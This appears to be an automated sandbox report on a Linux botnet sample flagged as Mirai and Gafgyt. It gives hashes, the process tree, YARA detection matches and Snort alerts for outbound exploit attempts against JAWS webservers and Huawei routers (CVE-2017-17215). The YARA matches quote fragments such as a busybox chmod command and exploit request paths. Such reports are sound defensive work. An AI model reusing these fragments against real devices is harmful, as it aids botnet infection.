Edit tour

Linux Analysis Report
db0fa4b8db0333367e9bda3ab68b8042.x86.elf

Overview

General Information

Sample Name:	db0fa4b8db0333367e9bda3ab68b8042.x86.elf
Analysis ID:	820285
MD5:	c75fa5d12533f7ceb18bc6e2a754143a
SHA1:	dfabb7848cc3eea75475168b9dfb0d2a1983672d
SHA256:	6510ed105622b7c629a2ea161495aeada10115446e9b1419829af98c2cca4d96
Tags:	Mirai
Infos:

Detection

Gafgyt, Mirai

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Sample is packed with UPX

Uses known network protocols on non-standard ports

Sample tries to kill multiple processes (SIGKILL)

Sample contains only a LOAD segment without any section mappings

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Sample tries to kill a process (SIGKILL)

ELF contains segments with high entropy indicating compressed/encrypted content

Creates hidden files and/or directories

HTTP GET or POST without a user agent

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	820285
Start date and time:	2023-03-05 19:04:36 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	db0fa4b8db0333367e9bda3ab68b8042.x86.elf
Detection:	MAL
Classification:	mal96.spre.troj.evad.linELF@0/0@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf
PID:	6224
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6224, Parent: 6120, MD5: c75fa5d12533f7ceb18bc6e2a754143a) Arguments: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf

db0fa4b8db0333367e9bda3ab68b8042.x86.elf New Fork (PID: 6225, Parent: 6224)

db0fa4b8db0333367e9bda3ab68b8042.x86.elf New Fork (PID: 6226, Parent: 6225)

db0fa4b8db0333367e9bda3ab68b8042.x86.elf New Fork (PID: 6227, Parent: 6225)

db0fa4b8db0333367e9bda3ab68b8042.x86.elf New Fork (PID: 6228, Parent: 6225)

db0fa4b8db0333367e9bda3ab68b8042.x86.elf New Fork (PID: 6229, Parent: 6225)

db0fa4b8db0333367e9bda3ab68b8042.x86.elf New Fork (PID: 6231, Parent: 6225)

db0fa4b8db0333367e9bda3ab68b8042.x86.elf New Fork (PID: 6232, Parent: 6225)

xfce4-panel New Fork (PID: 6235, Parent: 2063)

wrapper-2.0 (PID: 6235, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 6236, Parent: 2063)

wrapper-2.0 (PID: 6236, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 6237, Parent: 2063)

wrapper-2.0 (PID: 6237, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6238, Parent: 2063)

wrapper-2.0 (PID: 6238, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 6239, Parent: 2063)

wrapper-2.0 (PID: 6239, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6240, Parent: 2063)

wrapper-2.0 (PID: 6240, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

dbus-daemon New Fork (PID: 6244, Parent: 6243)

xfconfd (PID: 6244, Parent: 6243, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
db0fa4b8db0333367e9bda3ab68b8042.x86.elf	SUSP_ELF_LNX_UPX_Compressed_File	Detects a suspicious ELF binary with UPX compression	Florian Roth (Nextron Systems)	0x7f2a:$s2: $Id: UPX 0x7edb:$s3: $Info: This file is packed with the UPX executable packer

Memory Dumps

Source	Rule	Description	Author	Strings
6226.1.00000000099fb000.00000000099fc000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x580:$xo1: Ik~mhhe+14 0x5f8:$xo1: Ik~mhhe+14 0x670:$xo1: Ik~mhhe+14 0x6e8:$xo1: Ik~mhhe+14 0x760:$xo1: Ik~mhhe+14 0x9f0:$xo1: Ik~mhhe+14 0xa48:$xo1: Ik~mhhe+14 0xaa0:$xo1: Ik~mhhe+14 0xaf8:$xo1: Ik~mhhe+14 0xb50:$xo1: Ik~mhhe+14
6224.1.00000000099fb000.00000000099fc000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x580:$xo1: Ik~mhhe+14 0x5f8:$xo1: Ik~mhhe+14 0x670:$xo1: Ik~mhhe+14 0x6e8:$xo1: Ik~mhhe+14 0x760:$xo1: Ik~mhhe+14 0x9f0:$xo1: Ik~mhhe+14 0xa48:$xo1: Ik~mhhe+14 0xaa0:$xo1: Ik~mhhe+14 0xaf8:$xo1: Ik~mhhe+14 0xb50:$xo1: Ik~mhhe+14
6224.1.0000000008048000.000000000805b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x11790:$xo1: Ik~mhhe+14 0x11800:$xo1: Ik~mhhe+14 0x11870:$xo1: Ik~mhhe+14 0x118e0:$xo1: Ik~mhhe+14 0x11950:$xo1: Ik~mhhe+14 0x11bc0:$xo1: Ik~mhhe+14 0x11c14:$xo1: Ik~mhhe+14 0x11c68:$xo1: Ik~mhhe+14 0x11cbc:$xo1: Ik~mhhe+14 0x11d10:$xo1: Ik~mhhe+14
6224.1.0000000008048000.000000000805b000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0x112a3:$x2: /bin/busybox chmod 777 * /tmp/ 0x10fc8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x10b00:$s3: POST /cdn-cgi/
6224.1.0000000008048000.000000000805b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6224.1.0000000008048000.000000000805b000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10e3c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x6be0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xdb52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xfac8:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xe58d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6224.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xdb22:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6226.1.0000000008048000.000000000805b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x11790:$xo1: Ik~mhhe+14 0x11800:$xo1: Ik~mhhe+14 0x11870:$xo1: Ik~mhhe+14 0x118e0:$xo1: Ik~mhhe+14 0x11950:$xo1: Ik~mhhe+14 0x11bc0:$xo1: Ik~mhhe+14 0x11c14:$xo1: Ik~mhhe+14 0x11c68:$xo1: Ik~mhhe+14 0x11cbc:$xo1: Ik~mhhe+14 0x11d10:$xo1: Ik~mhhe+14
6226.1.0000000008048000.000000000805b000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0x112a3:$x2: /bin/busybox chmod 777 * /tmp/ 0x10fc8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x10b00:$s3: POST /cdn-cgi/
6226.1.0000000008048000.000000000805b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6226.1.0000000008048000.000000000805b000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10e3c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x6be0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xdb52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xfac8:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xe58d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6226.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xdb22:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.x86.elf PID: 6224	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x12d7:$xo1: Ik~mhhe+14 0x1346:$xo1: Ik~mhhe+14 0x13b5:$xo1: Ik~mhhe+14 0x1423:$xo1: Ik~mhhe+14 0x1491:$xo1: Ik~mhhe+14 0x16f3:$xo1: Ik~mhhe+14 0x1745:$xo1: Ik~mhhe+14 0x1797:$xo1: Ik~mhhe+14 0x17e9:$xo1: Ik~mhhe+14 0x183c:$xo1: Ik~mhhe+14
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.x86.elf PID: 6224	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x775:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.x86.elf PID: 6226	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x1657:$xo1: Ik~mhhe+14 0x16c6:$xo1: Ik~mhhe+14 0x1735:$xo1: Ik~mhhe+14 0x17a3:$xo1: Ik~mhhe+14 0x1811:$xo1: Ik~mhhe+14 0x1a73:$xo1: Ik~mhhe+14 0x1ac5:$xo1: Ik~mhhe+14 0x1b17:$xo1: Ik~mhhe+14 0x1b69:$xo1: Ik~mhhe+14 0x1bbc:$xo1: Ik~mhhe+14
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.x86.elf PID: 6226	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xaf5:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 33 entries

Snort Signatures

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.113.227.237

Timestamp:	192.168.2.23104.113.227.23742206802030092 03/05/23-19:05:47.014357
SID:	2030092
Source Port:	42206
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.14.71

Timestamp:	192.168.2.23156.226.14.7158314372152835222 03/05/23-19:07:25.691860
SID:	2835222
Source Port:	58314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.159.111

Timestamp:	192.168.2.23197.197.159.11151520372152835222 03/05/23-19:06:30.399969
SID:	2835222
Source Port:	51520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.110.179.36

Timestamp:	192.168.2.2334.110.179.3645018802030092 03/05/23-19:07:24.703151
SID:	2030092
Source Port:	45018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.94.208.107

Timestamp:	192.168.2.2364.94.208.10746212802030092 03/05/23-19:05:49.067557
SID:	2030092
Source Port:	46212
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.92.146.85

Timestamp:	192.168.2.23159.92.146.8550492802030092 03/05/23-19:05:48.724450
SID:	2030092
Source Port:	50492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.234.84.2

Timestamp:	192.168.2.2341.234.84.250992372152835222 03/05/23-19:07:22.309442
SID:	2835222
Source Port:	50992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.134.135.7

Timestamp:	192.168.2.2334.134.135.734152802030092 03/05/23-19:06:35.390575
SID:	2030092
Source Port:	34152
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.236.199.217

Timestamp:	192.168.2.23116.236.199.21751088802030092 03/05/23-19:06:02.025274
SID:	2030092
Source Port:	51088
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.4.187.129

Timestamp:	192.168.2.2352.4.187.12942140802030092 03/05/23-19:06:01.939931
SID:	2030092
Source Port:	42140
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.50.162.224

Timestamp:	192.168.2.2364.50.162.22459704802030092 03/05/23-19:06:22.603783
SID:	2030092
Source Port:	59704
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.66.233.47

Timestamp:	192.168.2.2318.66.233.4750302802030092 03/05/23-19:05:24.758233
SID:	2030092
Source Port:	50302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.32.141.129

Timestamp:	192.168.2.2345.32.141.12945300802030092 03/05/23-19:06:32.700541
SID:	2030092
Source Port:	45300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 167.71.101.241

Timestamp:	192.168.2.23167.71.101.24160228802030092 03/05/23-19:07:08.718891
SID:	2030092
Source Port:	60228
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.64.197.129

Timestamp:	192.168.2.23195.64.197.12936468802030092 03/05/23-19:05:57.816237
SID:	2030092
Source Port:	36468
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.168.119

Timestamp:	192.168.2.23197.197.168.11959240372152835222 03/05/23-19:05:34.980600
SID:	2835222
Source Port:	59240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.79.240.223

Timestamp:	192.168.2.23104.79.240.22348050802030092 03/05/23-19:06:30.180004
SID:	2030092
Source Port:	48050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.64.150.250

Timestamp:	192.168.2.2323.64.150.25049576802030092 03/05/23-19:07:03.971526
SID:	2030092
Source Port:	49576
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.80.106.161

Timestamp:	192.168.2.23172.80.106.16160984802030092 03/05/23-19:07:08.888426
SID:	2030092
Source Port:	60984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.100.64.58

Timestamp:	192.168.2.23192.100.64.5838900802030092 03/05/23-19:05:39.547632
SID:	2030092
Source Port:	38900
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.80.219.29

Timestamp:	192.168.2.23190.80.219.2933384802030092 03/05/23-19:06:22.996194
SID:	2030092
Source Port:	33384
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 219.147.82.244

Timestamp:	192.168.2.23219.147.82.24432954802030092 03/05/23-19:06:54.207474
SID:	2030092
Source Port:	32954
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 140.249.147.150

Timestamp:	192.168.2.23140.249.147.15057384802030092 03/05/23-19:06:59.298611
SID:	2030092
Source Port:	57384
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.69.30.130

Timestamp:	192.168.2.2368.69.30.13052304802030092 03/05/23-19:05:28.075346
SID:	2030092
Source Port:	52304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.255.94.6

Timestamp:	192.168.2.2351.255.94.641470802030092 03/05/23-19:06:32.556635
SID:	2030092
Source Port:	41470
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.238.96

Timestamp:	192.168.2.23197.195.238.9638318372152835222 03/05/23-19:06:54.904494
SID:	2835222
Source Port:	38318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.64.21.122

Timestamp:	192.168.2.2368.64.21.12246302802030092 03/05/23-19:06:20.054145
SID:	2030092
Source Port:	46302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 14.85.111.121

Timestamp:	192.168.2.2314.85.111.12139108802030092 03/05/23-19:05:55.352741
SID:	2030092
Source Port:	39108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.84.222

Timestamp:	192.168.2.23156.162.84.22234638372152835222 03/05/23-19:06:45.240798
SID:	2835222
Source Port:	34638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

